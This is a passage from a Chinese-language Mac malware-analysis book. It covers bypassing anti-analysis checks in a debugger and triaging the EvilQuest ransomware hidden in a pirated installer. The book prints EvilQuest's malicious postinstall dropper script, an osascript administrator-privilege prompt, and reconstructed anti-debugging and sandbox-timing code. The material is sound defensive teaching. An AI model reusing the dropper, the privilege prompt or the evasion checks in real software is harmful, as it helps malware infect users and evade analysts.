列表 9-35:反调试逻辑(EvilQuest)
然而,如果恶意软件还实现了反静态分析逻辑,例如字符串或代码混淆,定位旨在检测虚拟机或调试器的逻辑可能通过静态分析方法很难完成。在这种情况下,你可以使用系统化的调试会话,从恶意软件的入口点(或任何初始化程序)开始。具体来说,你可以逐步跟踪代码,观察可能与反分析逻辑相关的 API 和系统调用。如果你跳过了某个函数,且恶意软件立即退出,那么很可能是某些反分析逻辑被触发了。如果发生这种情况,只需重新启动调试会话,并进入该函数以更仔细地检查代码。
这种反复试验的方法可以通过以下方式进行:
1. 启动一个调试会话来执行恶意样本。重要的是从一开始就启动调试会话,而不是附加到已经在运行的进程上。这可以确保恶意软件没有机会执行任何反分析逻辑。
1. 在恶意软件可能调用的 API 上设置断点,以检测虚拟机或调试会话。示例包括`sysctl`和`ptrace`。
1. 不要让恶意软件不受限制地运行,而是手动逐步执行它的代码,可能跳过任何函数调用。如果遇到断点,检查它们的参数,以确定它们是否出于反分析的原因被调用。例如,检查是否调用了带有`PT_DENY_ATTACH`标志的`ptrace`,或者是否调用了`sysctl`来获取 CPU 数量或设置`P_TRACED`标志。回溯信息应该能够揭示调用这些 API 的恶意软件内代码地址。
1. 如果跳过一个函数调用导致恶意软件退出(这通常表示它可能检测到了虚拟机或调试器),则重新启动调试会话,并这次进入该函数。重复此过程,直到确定反分析逻辑的位置。
通过掌握反分析逻辑的位置,现在可以通过修改执行环境、修补磁盘上的二进制镜像、在调试器中修改程序控制流,或在调试器中修改寄存器或变量的值来绕过它。让我们简要看一下每种方法。
### 修改执行环境
可能通过修改执行环境,使反分析逻辑不再触发。回想一下,Mughthesec 包含一段逻辑,用于通过检查系统的 MAC 地址来检测它是否在虚拟机中运行。如果恶意软件检测到一个与虚拟机厂商(如 VMware)匹配的 OUI,它将不会执行。幸运的是,我们可以在虚拟机的设置中修改 MAC 地址,选择一个不属于任何虚拟机提供商 OUI 范围的地址。例如,将其设置为基础 macOS 机器的 OUI,如`F0:18:98`,这是 Apple 的 OUI。一旦 MAC 地址更改,Mughthesec 将不再将环境识别为虚拟机,因此它将愉快地执行其恶意逻辑,从而允许我们的动态分析继续进行。
### 修补二进制镜像
另一种更持久的方法来绕过反分析逻辑是修补恶意软件的磁盘上二进制镜像。Mac 勒索病毒 KeRanger 是这一方法的一个良好候选,它可能会在执行恶意载荷之前休眠几天,可能是为了阻碍自动化或动态分析。
尽管恶意软件被压缩,但它使用的是 UPX 压缩器,我们可以通过`upx -d`命令完全解包它。接下来,静态分析可以识别出名为`waitOrExit`的函数,它负责实现等待延迟。该函数由`startEncrypt`函数调用,而`startEncrypt`函数会开始勒索用户文件的过程:
startEncrypt:
...
0x000000010000238b call waitOrExit
0x0000000100002390 test eax, eax
0x0000000100002392 je leave
为了绕过延迟逻辑,使恶意软件立即继续执行,我们可以修改恶意软件的二进制代码,跳过对`waitOrExit`函数的调用。
在十六进制编辑器中,我们将恶意软件可执行指令的字节从`call`修改为`nop`。`nop`是“无操作”的缩写,它是一条指令(在 Intel 平台上为`0x90`),指示 CPU 什么都不做。当需要绕过恶意软件中的反分析逻辑时,`nop`指令非常有用,它将有问题的指令覆盖为无害的指令。我们还会将那些如果被覆盖的`call`失败时可能导致恶意软件终止的指令替换为`nop`(清单 9-36):
startEncrypt:
...
0x000000010000238b nop
0x000000010000238c nop
0x000000010000238d nop
...
0x0000000100002396 nop
0x0000000100002397 nop
清单 9-36:反分析逻辑,现已被`nop`替换(KeRanger)
现在,每当这个修改过的 KeRanger 版本被执行时,`nop`指令将不会执行任何操作,恶意软件将愉快地继续执行,从而使我们的动态分析会话得以进行。
尽管修改恶意软件的磁盘上二进制镜像是一个永久解决方案,但它并不总是最佳方法。首先,如果恶意软件使用了难以解包的非 UPX 压缩器,可能无法修补目标指令,因为它们仅在内存中解包或解密。此外,磁盘上的补丁涉及的工作量比不那么永久的方法更多,比如在调试会话期间修改恶意软件的内存代码。最后,任何二进制文件的修改都会使其加密签名失效,这可能会阻止恶意软件成功执行。因此,恶意软件分析师更常使用调试器或其他运行时方法,如注入自定义库,来绕过反动态分析逻辑。
### 修改恶意软件的指令指针
调试器最强大的功能之一就是能够直接修改恶意软件的整个状态。当你需要绕过动态分析阻止逻辑时,这一能力尤为有用。
或许最简单的方法是操控程序的指令指针,它指向 CPU 将要执行的下一条指令。这个值保存在程序计数器寄存器中,在 64 位 Intel 系统上是`RIP`寄存器。你可以在反分析逻辑处设置断点,当断点被触发时,修改指令指针,举例来说,跳过有问题的逻辑。如果操作正确,恶意软件将无法察觉。
让我们回到 KeRanger。通过在调用执行三天休眠函数的指令上设置断点,我们可以允许恶意软件继续执行,直到该断点被触发。此时,我们可以简单地修改指令指针,指向调用之后的指令。由于该函数调用从未执行,恶意软件永远不会进入休眠状态,我们的动态分析会话可以继续进行。
记住,在调试会话中,你可以通过`reg write`调试命令更改任何寄存器的值。要专门修改指令指针的值,可以在`RIP`寄存器上执行此命令。
(lldb) reg write $rip <new value>
让我们看另一个例子。EvilQuest 恶意软件包含一个名为`prevent_trace`的函数,它调用`ptrace` API 并传入`PT_DENY_ATTACH`标志。地址`0x000000010000b8b2`处的代码调用了此函数。如果我们允许此函数在调试会话期间执行,系统将检测到调试器并立即终止会话。为了绕过这一逻辑,我们可以通过在`0x000000010000b8b2`处设置断点来避免调用`prevent_trace`。一旦断点被触发,我们修改指令指针的值来跳过该调用,正如在列表 9-37 中所示:
% (lldb) b 0x10000b8b2
Breakpoint 1: where = patch[0x000000010000b8b2]
(lldb)c
Process 683 resuming
Process 683 stopped
- thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
-> 0x10000b8b2: callq 0x100007c20
0x10000b8b7: leaq 0x7de2(%rip), %rdi
0x10000b8be: movl $0x8, %esi
0x10000b8c3: movl %eax, -0x38(%rbp)
(lldb) reg write $rip 0x10000b8b7
(lldb)c
列表 9-37:跳过反调试逻辑(EvilQuest)
现在`prevent_trace`函数从未被调用,我们的调试会话可以继续进行。
请注意,操控程序的指令指针如果不正确,可能会产生严重副作用。例如,如果操作导致栈不平衡或未对齐,程序可能会崩溃。有时,可以采取更简单的方法避免修改指令指针,而是修改其他寄存器。
### 修改寄存器值
请注意,EvilQuest 包含一个名为`is_debugging`的函数。回想一下,该函数如果检测到调试会话会返回非零值,这将导致恶意软件突然终止。当然,如果没有检测到调试会话(因为`is_debugging`返回零),恶意软件会继续正常运行。
我们可以不操作指令指针,而是在执行检查`is_debugging`函数返回值的指令上设置断点。断点被触发时,`EAX`寄存器将包含一个非零值,因为恶意软件已检测到我们的调试器。然而,通过调试器,我们可以悄悄地将`EAX`中的值切换为 0(列表 9-38):
- thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
-> 0x10000b89f: cmpl $0x0, %eax
0x10000b8a2: je 0x10000b8b2
0x10000b8a8: movl $0x1, %edi
0x10000b8ad: callq exit
(lldb) reg read $eax
rax = 0x00000001
(lldb) reg write $eax 0
列表 9-38:修改寄存器值以绕过反调试逻辑
将`EAX`寄存器的值更改为 0(通过`reg write $eax 0`)确保比较指令现在会导致零标志被设置。因此,`je`指令将跳转到地址`0x10000b8b2`,避开`0x10000b8ad`处的`exit`调用。请注意,我们只需要修改`RAX`寄存器(`EAX`)的低 32 位,因为这正是比较指令(`cmp`)所检查的内容。
## 一个剩余的挑战:环境生成的密钥
在这一点上,可能看起来恶意软件分析师占了上风;毕竟,没什么反分析措施能阻止我们,不是吗?但别急。复杂的恶意软件作者使用保护加密方案,这些方案使用*环境生成的密钥*。这些密钥是在受害者的系统上生成的,因此对特定感染实例是唯一的。
这带来的影响相当深远。如果恶意软件发现自己处于不同于其密钥环境的地方,它将无法解密自身。这也意味着分析恶意软件的尝试很可能会失败,因为它将保持加密状态。如果这个环境保护机制实施得当,并且密钥信息无法从外部恢复,那么分析恶意软件的唯一方法就是直接在感染系统上进行分析,或者在感染系统中捕获的恶意软件内存转储上进行分析。
我们在由臭名昭著的方程组(Equation Group)编写的 Windows 恶意软件中见过这种保护机制,最近在 Lazarus Group 针对 macOS 的恶意软件中也见过这种机制。^(15) 后者使用感染系统的序列号加密了所有第二阶段的有效载荷。有关环境密钥生成这一有趣话题的更多内容,请参阅我 2015 年在 Black Hat 上的演讲《为 OS X 编写厉害的恶意软件》^(16)。还可以查阅 James Riordan 和 Bruce Schneier 关于这个话题的开创性论文《环境密钥生成:面向无知代理》。^(17)
## 接下来
在本章中,我们讨论了恶意软件可能利用的常见反分析方法,试图阻碍我们的分析工作。在讨论如何识别这些逻辑后,我演示了如何使用静态和动态方法绕过它们。掌握了本书至此所讲的知识,你现在已经准备好分析一款复杂的 Mac 恶意软件。在下一章,我们将揭示该恶意软件的病毒传播能力、持久性机制和目的。
## 参考文献
# 第十章:EvilQuest 的感染、分类和去混淆

EvilQuest 是一个复杂的 Mac 恶意软件样本。因为它使用了反分析逻辑、病毒持久性机制和隐秘的有效载荷,它几乎是刻意让人分析的。让我们运用你从本书中学到的技巧来进行分析吧!
本章开始了对恶意软件的全面分析,详细描述了它的感染途径、分类它的二进制文件,并识别了其反分析逻辑。第十一章将继续我们的分析,介绍恶意软件的持久性方法及其众多功能。
## 感染途径
就像生物病毒一样,识别一个样本的感染途径通常是了解其潜在影响并阻止其继续传播的最佳方法。因此,当你分析一个新的恶意软件样本时,首先要回答的问题之一就是:“恶意软件是如何感染 Mac 系统的?”
正如你在第一章中看到的,恶意软件作者使用了各种策略,从不太复杂的社交工程攻击到强大的零日漏洞,来感染 Mac 用户。发现 EvilQuest 的研究员 Dinesh Devadoss 并没有具体说明恶意软件是如何感染 Mac 用户的。^(1) 然而,另一位研究员 Thomas Reed 后来指出,恶意软件出现在通过种子网站分享的盗版流行 macOS 软件中。他特别写道
> 一个看似恶意的 Little Snitch 安装程序可以在一个专门分享种子链接的俄罗斯论坛上下载。一篇帖子提供了 Little Snitch 的种子下载链接,随后不久便有许多评论指出该下载包含恶意软件。事实上,我们发现它不仅是恶意软件,而且是一个通过盗版传播的新型 Mac 勒索病毒变种。^(2)
分发被恶意篡改的盗版或破解应用程序是一个相当常见的针对 macOS 用户进行感染的方法。虽然这不是最复杂的方法,但它相当有效,因为许多用户不喜欢付费软件,而是寻找盗版替代品。图 10-1 显示了恶意 Little Snitch 软件的下载链接。

图 10-1:被 EvilQuest 篡改的盗版 Little Snitch
当然,这种感染途径需要用户交互。具体来说,为了感染 EvilQuest,用户必须下载并运行被感染的应用程序。此外,正如你将看到的,恶意软件的安装包是未签名的,因此在 macOS 的新版本上,用户可能需要主动采取步骤绕过系统的 notarization 检查。
为了尽可能感染更多的 Mac 用户,恶意软件作者悄悄篡改了许多通过 torrent 网站分发的盗版应用程序。在本章中,我们将重点关注一个恶意包装的示例,它是与流行 DJ 应用程序 Mixed In Key 一起捆绑的。^(3)
## 分类
记住,一个应用程序实际上是一个特殊的目录结构,称为 *bundle*,在分发之前必须将其打包。我们正在分析的 EvilQuest 样本是作为一个磁盘镜像 *Mixed In Key 8.dmg* 分发的。如图 10-2 所示,首次发现该样本时,其 SHA-256 哈希值(B34738E181A6119F23E930476AE949FC0C7C4DED6EFA003019FA946C4E5B287A)并未被 VirusTotal 上的任何杀毒引擎标记为恶意。

图 10-2:VirusTotal 上被篡改的 *Mixed* *In* *Key 8.dmg* 文件
当然,今天这个磁盘镜像被广泛检测为含有恶意软件。
### 确认文件类型
由于分析工具通常针对特定的文件类型,而且恶意软件作者可能会尝试掩盖其恶意创作的真实文件类型,因此在遇到潜在的恶意样本时,首先确定或确认文件的真实类型是明智的。在这里,我们尝试使用 `file` 工具确认被篡改的 *Mixed In Key 8.dmg* 确实是一个磁盘镜像。
% file "EvilQuest/Mixed In Key 8.dmg"
Mixed In Key 8.dmg: zlib compressed data
哎呀,看起来 `file` 工具错误地将该文件识别为磁盘镜像以外的其他类型。这并不意外,因为使用 zlib 压缩的磁盘镜像通常会因 zlib 头部而被报告为“VAX COFF”。^(4)
让我们再试一次,这次使用我的 WhatsYourSign (WYS) 工具,它显示了项的代码签名信息并更准确地识别项的文件类型。如图 10-3 所示,该工具的“项类型”字段确认 *Mixed In Key 8.dmg* 确实是一个磁盘镜像,正如预期的那样。

图 10-3:WYS 确认该项为磁盘镜像
### 提取内容
一旦确认该 *.dmg* 文件确实是一个磁盘镜像,我们的下一步任务就是提取磁盘镜像的内容以供分析。使用 macOS 内建的 `hdiutil` 工具,我们可以挂载磁盘镜像并访问其文件:
% hdiutil attach -noverify "EvilQuest/Mixed In Key 8.dmg"
/dev/disk2 GUID_partition_scheme
/dev/disk2s1 Apple_APFS
/dev/disk3 EF57347C-0000-11AA-AA11-0030654
/dev/disk3s1 41504653-0000-11AA-AA11-0030654 /Volumes/Mixed In Key 8
一旦此命令完成,磁盘映像将被挂载到 */Volumes/Mixed In Key 8/*。列出该目录的内容会显示一个名为 *Mixed In Key 8.pkg* 的文件,看起来是一个安装包(Listing 10-1):
% ls "/Volumes/Mixed In Key 8"
Mixed In Key 8.pkg
Listing 10-1: 列出已挂载磁盘映像的内容
我们再次使用 WYS 确认 *.pkg* 文件确实是一个包文件,并检查该包的签名状态。如 Figure 10-4 所示,文件类型已确认为 *.pkg*,但该包未签名。

Figure 10-4: WYS 确认该项为未签名的包
我们还可以通过终端使用 `pkgutil` 工具检查任何包的签名(或缺少签名)。只需传入 `--check-signature` 和包的路径,如 Listing 10-2 所示:
% pkgutil --check-signature "/Volumes/Mixed In Key 8/Mixed In Key 8.pkg"
Package "Mixed In Key 8.pkg":
Status: no signature
Listing 10-2: 检查包的签名
由于该包未签名,macOS 会在允许打开之前提示用户。然而,尝试盗版软件的用户很可能会忽略此警告,继续操作并不知不觉地开始感染。
### 探索包文件
在第四章中,我们讨论了如何使用 Suspicious Package 工具来探索安装包的内容。在这里,我们将使用它打开 *Mixed In Key 8.pkg*(Figure 10-5)。在 "All Files" 标签页中,我们将找到一个名为 *Mixed In Key 8.app* 的应用程序文件和一个名为 *patch* 的可执行文件。

Figure 10-5: 使用 Suspicious Package 工具探索篡改过的 *Mixed In Key* 包中的文件
我们稍后将检查这些文件,但首先我们应该检查是否有安装前或安装后的脚本。回想一下,当包文件被安装时,任何此类脚本也会自动执行。因此,如果一个安装包包含恶意软件,你通常会在这些脚本中发现恶意安装逻辑。
点击 **All Scripts** 标签页显示 *Mixed In Key 8.pkg* 确实包含一个安装后脚本(Listing 10-3):
!/bin/sh
mkdir /Library/mixednkey
mv /Applications/Utils/patch /Library/mixednkey/toolroomd
rmdir /Application/Utils
chmod +x /Library/mixednkey/toolroomd
/Library/mixednkey/toolroomd &
Listing 10-3: *Mixed* *In* *Key 8.pkg* 的安装后脚本
当篡改过的 *Mixed In Key 8.pkg* 被安装时,脚本将被执行并执行以下操作:
1. 创建一个名为 */Library/mixednkey* 的目录。
1. 将 *patch* 二进制文件(它被安装到了 */Applications/Utils/patch*)移动到新创建的 */Library/mixednkey* 目录中,并将其重命名为 *toolroomd*。
1. 尝试删除 */Applications/Utils/* 目录(在安装过程中创建的目录)。然而,由于命令中的一个错误(恶意软件作者在 */Applications* 中遗漏了 "s"),该操作会失败。
1. 将*toolroomd*二进制文件设置为可执行。
1. 在后台启动*toolroomd*二进制文件。
安装程序在安装过程中请求 root 权限,因此如果用户提供必要的凭据,此后安装脚本也将以提升的特权运行。
通过动态分析监控工具(例如我的 ProcessMonitor 和 FileMonitor),我们可以被动观察此安装过程,包括执行后安装脚本和脚本的命令(清单 10-4):
ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"uid" : 0,
"arguments" : [
"/bin/sh",
"/tmp/PKInstallSandbox.3IdCO8/.../com.mixedinkey.installer.u85NFq/postinstall",
"/Users/user/Desktop/Mixed In Key 8.pkg",
"/Applications",
"/",
"/"
],
"ppid" : 1375,
"path" : "/bin/bash",
"name" : "bash",
"pid" : 1377
},
...
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"uid" : 0,
"arguments" : [
"mkdir",
"/Library/mixednkey"
],
"ppid" : 1377,
"path" : "/bin/mkdir",
"name" : "mkdir",
"pid" : 1378
},
...
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"uid" : 0,
"arguments" : [
"mv",
"/Applications/Utils/patch",
"/Library/mixednkey/toolroomd"
],
"ppid" : 1377,
"path" : "/bin/mv",
"name" : "mv",
"pid" : 1379
},
...
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"uid" : 0,
"arguments" : [
"/Library/mixednkey/toolroomd" 1
],
"ppid" : 1,
"path" : "/Library/mixednkey/toolroomd",
"name" : "toolroomd",
"pid" : 1403
},
...
}
清单 10-4:监控恶意后安装脚本的操作
在来自 ProcessMonitor 的这段缩减输出中,您可以看到来自后安装脚本的各种命令(例如`mkdir`和`mv`)在安装恶意软件时被执行。 特别要注意,在完成时脚本会执行已安装为*toolroomd* 1 的恶意软件。
现在让我们使用 Suspicious Package 从包中分别导出*Mixed In Key 8*应用程序和*patch*二进制文件。 首先,让我们来看一下*Mixed In Key 8*应用程序。 通过使用 WYS,我们可以看到它仍然由 Mixed In Key 开发人员有效签名(图 10-6)。

图 10-6:仍然有效签名的应用程序(通过 WYS)
确认项目代码签名签名的有效性告诉我们它自签名以来未被修改或篡改。
恶意软件作者是否可能已经篡改了 Mixed In Key,并窃取了其代码签名证书,偷偷修改了应用程序,然后重新签名? 公平的问题,答案是可能的,尽管可能性极小。 如果是这种情况,恶意软件作者可能不必采用如此低级的感染机制(通过不光彩的种子站点分发软件),也不必在包中包含另一个未签名的二进制文件。
由于主应用程序仍由开发人员有效签名,让我们将注意力转向*补丁*文件。 正如您很快将看到的那样,这是恶意软件。 (请记住,它作为名为*toolroomd*的文件安装。)使用`file`实用程序,我们可以确定它是一个 64 位 Mach-O 二进制文件,而`codesign`实用程序则指示它未经签名:
% file patch
patch: Mach-O 64-bit executable x86_64
% codesign -dvv patch
patch: code object is not signed at all
由于*patch*是二进制文件而不是脚本,我们将通过利用无论文件类型是否特定于二进制分析的静态分析工具来继续我们的分析。
## 从补丁二进制文件中提取嵌入信息
首先,我们将运行 `strings` 工具来提取任何嵌入的 ASCII 字符串,因为这些字符串通常能为恶意软件的逻辑和功能提供宝贵的洞见。请注意,为了方便起见,我已重新排序输出(见 Listing 10-5):
% strings - patch
2Uy5DI3hMp7o0cq|T|14vHRz0000013
0ZPKhq0rEeUJ0GhPle1joWN30000033
0rzACG3Wr||n1dHnZL17MbWe0000013
3iHMvK0RFo0r3KGWvD28URSu06OhV61tdk0t22nizO3nao1q0000033
1nHITz08Dycj2fGpfB34HNa33yPEb|0NQnSi0j3n3u3JUNmG1uGElB3Rd72B0000033
...
--reroot
--silent
--noroot
--ignrp
Host: %s
GET /%s HTTP/1.0
Encrypt
file_exists
_generate_xkey
[tab]
[return]
[right-cmd]
/toidievitceffe/libpersist/persist.c
Listing 10-5:提取嵌入的字符串
提取的嵌入字符串揭示了一些看似命令行参数的字符串(如 `--silent`)、网络请求(如 `GET /%s HTTP/1.0`)、潜在的文件加密逻辑(如 `_generate_xkey`)以及键盘映射(如 `[right-cmd]`),这些可能表明存在键盘记录的逻辑。我们还发现了一个包含目录名的路径(*toidievitceffe*),该目录名解码为“effectiveidiot”。我们的继续分析很快会揭示出包含缩写“ei”的其他字符串和函数名(如 `EI_RESCUE` 和 `ei_loader_main`)。看起来“effectiveidiot”是恶意软件开发者为其命名的代号。
`strings` 工具的输出揭示了大量的嵌入字符串(如 `2Uy5DI3hMp7o0cq|T|14vHRz0000013`),这些字符串看起来经过了混淆。这些无意义的字符串很可能表明 EvilQuest 使用了反分析技术。稍后我们将破译这些反分析逻辑,解密所有此类字符串。不过首先,让我们静态提取更多的恶意软件信息。
回想一下,macOS 内置的 `nm` 工具可以提取嵌入的信息,例如恶意软件调用的函数名和系统 API。与 `strings` 工具的输出类似,这些信息可以帮助我们了解恶意软件的功能,并指导后续的分析。让我们对 *patch* 二进制文件运行 `nm`,如同在 Listing 10-6 中所示。为了方便起见,我已重新排序输出:
% nm patch
U _CGEventTapCreate
U _CGEventTapEnable
U _NSAddressOfSymbol
U _NSCreateObjectFileImageFromMemory
U _NSLinkModule
...
000000010000a550 T __get_host_identifier
0000000100007c40 T __get_process_list
000000010000a170 T __react_exec
000000010000a470 T __react_keys
000000010000a300 T __react_save
0000000100009e80 T __react_scmd
000000010000de60 T _eib_decode
000000010000e010 T _eib_secure_decode
0000000100013708 S _eib_string_key
000000010000e0d0 T _get_targets
0000000100007310 T _eip_encrypt
0000000100007130 T _eip_key
0000000100007aa0 T _is_debugging
0000000100007c20 T _prevent_trace
0000000100007bc0 T _is_virtual_mchn
0000000100008810 T _persist_executable
0000000100009130 T _install_daemon
Listing 10-6:提取嵌入的名称(API 调用、函数等)
首先,我们看到一些系统 API 的引用,如 `CGEventTapCreate` 和 `CGEventTapEnable`,这些通常用于捕获用户按键,还有 `NSCreateObjectFileImageFromMemory` 和 `NSLinkModule`,它们可以用来在内存中执行二进制有效负载。输出中还包含了一个长列表的函数名,这些函数名可以直接映射回恶意软件的原始源代码。除非这些函数名被故意错误命名来误导我们,否则它们可以揭示恶意软件的许多方面。例如,
+ `is_debugging`、`is_virtual_mchn` 和 `prevent_trace` 可能表明恶意软件实现了动态分析阻止逻辑。
+ `get_host_identifier` 和 `get_process_list` 可能表明主机调查能力。
+ `persist_executable` 和 `install_daemon` 可能与恶意软件如何保持持久性有关。
+ `eib_secure_decode` 和 `eib_string_key` 可能负责解码这些混淆的字符串。
+ `get_targets`、`is_target` 和 `eip_encrypt` 可能包含恶意软件的所谓勒索软件逻辑。
+ `react_*` 函数(如 `react_exec`)可能包含执行攻击者命令和控制服务器远程命令的逻辑。
当然,我们应该在静态或动态分析中验证此功能。然而,仅凭这些名称就能帮助我们集中精力进行进一步分析。例如,在开始调试会话之前,静态分析那些看起来像是各种反分析功能的代码是明智的,因为这些功能可能会试图阻止调试器,因此需要绕过它们。
## 分析命令行参数
在我们通过静态分析筛选收集到的大量有趣信息的支持下,现在是时候进一步深入探讨了。我们可以通过将 *patch* 二进制文件加载到反汇编工具(如 Hopper)中进行反汇编。对反汇编代码的快速筛查显示,*patch* 二进制文件的核心逻辑出现在其主函数中,该函数相当庞大。首先,二进制文件解析任何命令行参数,查找 `--silent`、`--noroot` 和 `--ignrp`。如果这些命令行参数存在,则会设置相应的标志。接着,如果我们分析引用这些标志的代码,就能了解它们的含义。
### --silent
如果通过命令行传入 `--silent`,恶意软件会将一个全局变量设置为 0。这似乎指示恶意软件以“静默”模式运行,例如抑制错误信息的打印。在以下的反汇编代码片段中,首先通过 `cmp` 指令检查一个变量(我在下面称之为 `silent`)的值。如果它被设置,恶意软件将跳过对 `printf` 函数的调用,从而不会显示错误消息。
0x000000010000c375 cmp [rbp+silent], 1
0x000000010000c379 jnz skipErrMsg
...
0x000000010000c389 lea rdi, "This application has to be run by root"
0x000000010000c396 call printf
这个标志也被传递给 `ei_rootgainer_main` 函数,它影响恶意软件(以普通用户身份运行)如何请求 root 权限。请注意,在以下反汇编中,标志的地址被加载到 `RDX` 寄存器中,该寄存器在函数调用的上下文中保存第三个参数:
0x000000010000c2eb lea rdx, [rbp+silent]
0x000000010000c2ef lea rcx, [rbp+var_34]
0x000000010000c2f3 call ei_rootgainer_main
有趣的是,这个标志显式初始化为 0(如果指定了 `--silent` 参数,它会再次设置为 0)。它似乎从未被设置为 1(真)。因此,即使没有指定 `--silent`,恶意软件也将始终以“静默”模式运行。可能在恶意软件的调试版本中,默认值会将该标志初始化为 1。
为了获取 root 权限,`ei_rootgainer_main` 函数调用了一个辅助函数 `run_as_admin_async`,以执行以下(最初加密的)命令,并用自身替换 `%s`。
osascript -e "do shell script "sudo %s" with administrator privileges"
这将导致 macOS 内置的 `osascript` 提示身份验证(见 图 10-7)。

图 10-7:恶意软件的身份验证提示,通过 `osascript`
如果用户提供了适当的凭证,恶意软件将获得 root 权限。
### --noroot
如果通过命令行传入了`--noroot`,恶意软件会将另一个标志设置为 1(真)。恶意软件内部的各种代码会检查此标志,如果设置了该标志,则采取不同的操作,如跳过请求根权限的步骤。在反汇编代码片段中,请注意,如果设置了标志(最初为`var_20`但此处命名为`noRoot`),则跳过对`ei_rootgainer_main`函数的调用。
0x000000010000c2d6 cmp [rbp+noRoot], 0
0x000000010000c2da jnz noRequestForRoot
...
0x000000010000c2f3 call ei_rootgainer_main
`--noroot`参数也被传递给一个持久性函数`ei_persistence_main`:
0x000000010000c094 mov ecx, [rbp+noRoot]
0x000000010000c097 mov r8d, [rbp+var_24]
0x000000010000c09b call _ei_persistence_main
对该函数的后续分析显示,此标志决定了恶意软件的持久性方式;作为启动守护程序需要根权限,而作为启动代理则只需要用户权限。
### --ignrp
如果通过命令行传入了`--ignrp`(“忽略持久性”),恶意软件会将一个标志设置为 1,并指示自己不启动任何持久启动项。
我们可以通过检查`ei_selfretain_main`函数中的反汇编代码来确认这一点,该函数包含加载持久组件的逻辑。此函数首先检查标志(此处命名为`ignorePersistence`),如果未设置,则函数将简单返回而不加载持久项目:
0x000000010000b786 cmp [rbp+ignorePersistence], 0
0x000000010000b78a jz leave
请注意,即使指定了`--ignrp`命令行选项,恶意软件仍将持久存在,因此在感染系统重新启动或用户登录时会自动重新启动。
## 分析反分析逻辑
如果恶意样本包含反分析逻辑,我们必须识别并挫败它以继续分析工作。幸运的是,除了看起来是加密字符串外,EvilQuest 似乎没有采用任何会妨碍我们静态分析的方法。但是,当涉及到动态分析时,我们的运气就不那么好了。
正如第九章所述,样本在虚拟机或调试器中运行时过早退出,通常表明触发了某种动态反分析逻辑。如果尝试在调试器中运行 EvilQuest,您会注意到它简单地终止。这并不奇怪;请回想一下,恶意软件包含名称为`is_debugging`和`prevent_trace`的函数。在这些可能是反调试函数之前,还调用了名为`is_virtual_mchn`的函数。让我们从那里开始分析看起来是恶意软件的反分析逻辑。
### 防虚拟机逻辑?
在您的反汇编器中,查看主函数中的`0x000000010000be5f`。一旦恶意软件处理了任何命令行选项,它就会调用一个名为`is_virtual_mchn`的函数。如下所示的反编译代码片段显示,如果此函数返回非零值,恶意软件将会提前退出:
if(is_virtual_mchn(0x2) != 0x0) {
exit(-1);
}
让我们更详细地查看此函数的反编译(Listing 10-7),因为我们希望确保恶意软件在虚拟机中运行(或可以被迫在虚拟机中运行),以便我们可以动态分析它。
int is_virtual_mchn(int arg0) {
var_10 = time();
sleep(argO);
rax = time();
rdx = 0x0;
if (rax - var_10 < arg0) {
rdx = 0x1;
}
rax = rdx;
return rax;
}
Listing 10-7: 反沙箱检测,通过时间检查
如你在`is_virtual_mchn`的反编译中所见,`time`函数被调用了两次,中间有一个`sleep`调用。然后它比较两次`time`调用之间的差值,以匹配代码休眠的时间。这使得它能够检测到那些修改或加速`sleep`调用的沙箱。正如安全研究员 Clemens Kolbitsch 所指出的,
> 沙箱会修改`sleep`函数,以试图绕过使用时间延迟的恶意软件。作为回应,恶意软件会检查时间是否被加速。它会获取时间戳,进入休眠,然后在醒来时再次获取时间戳。两个时间戳之间的时间差应该与恶意软件预定的休眠时间相同。如果不同,则恶意软件知道它正在运行在一个修改了`sleep`函数的环境中,这种情况通常只会发生在沙箱中。^(5)
这意味着,实际上,`is_virtual_mchn`函数更像是一个沙箱检查,而不会真正检测到标准的虚拟机,因为标准虚拟机不会修改任何时间构造。对我们在隔离虚拟机中继续分析恶意软件的工作来说,这是个好消息。
### 防调试逻辑
我们还需要讨论恶意软件使用的其他反分析机制,因为这些逻辑可能会妨碍我们之后的动态分析工作。回想一下在`strings`工具的输出中,我们看到了似乎是反调试功能的函数:`is_debugging`和`prevent_trace`。
`is_debugging`函数实现于地址`0x0000000100007aa0`。查看清单 10-8 中这个函数的注释反汇编片段,我们看到恶意软件使用`CTL_KERN`、`KERN_PROC`、`KERN_PROC_PID`及通过`getpid()` API 函数获取的 PID 调用了`sysctl`函数:
_is_debugging:
0x0000000100007aa0
...
0x0000000100007ae1 mov dword [rbp+var_2A0], 0x1 ;CTL_KERN
0x0000000100007aeb mov dword [rbp+var_29C], 0xe ;KERN_PROC
0x0000000100007af5 mov dword [rbp+var_298], 0x1 ;KERN_PROC_PID
...
0x0000000100007b06 call getpid
...
0x0000000100007b16 mov [rbp+var_294], eax ;process id (pid)
...
0x0000000100007b0f lea rdi, qword [rbp+var_2A0]
...
0x0000000100007b47 call sysctl
清单 10-8:通过`sysctl` API 开始的反调试逻辑
一旦`sysctl`函数返回,恶意软件会检查由`sysctl`调用填充的`info.kp_proc`结构中的`p_flag`成员,以查看是否设置了`P_TRACED`标志(清单 10-9)。由于此标志仅在进程正在被调试时设置,因此恶意软件可以通过它来判断是否正在被调试。
rax = 0x0;
if ((info.kp_proc.p_flag & 0x800) != 0x0) {
rax = 0x1;
}
清单 10-9:`P_TRACED`标志(`0x800`)是否被设置?如果设置了,说明进程正在被调试。
如果`is_debugging`函数检测到调试器,它会返回非零值,如清单 10-10 的完整重构所示,我是基于反编译结果得出的。
int is_debugging(int arg0, int arg1) {
int isDebugged = 0;
mib[0] = CTL_KERN;
mib[1] = KERN_PROC;
mib[2] = KERN_PROC_PID;
mib[3] = getpid();
sysctl(mib, 0x4, &info, &size, NULL, 0);
if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)) {
isDebugged = 0x1;
}
return isDebugged;
}
清单 10-10:使用`sysctl`和`P_TRACED`的反调试逻辑
如`ei_persistence_main`函数中的代码会调用`is_debugging`函数,如果检测到调试器则立即终止(清单 10-11):
int ei_persistence_main(...) {
//debugger check
if (is_debugging(arg0, arg1) != 0) {
exit(1);
}
清单 10-11:如果检测到调试器则提前退出
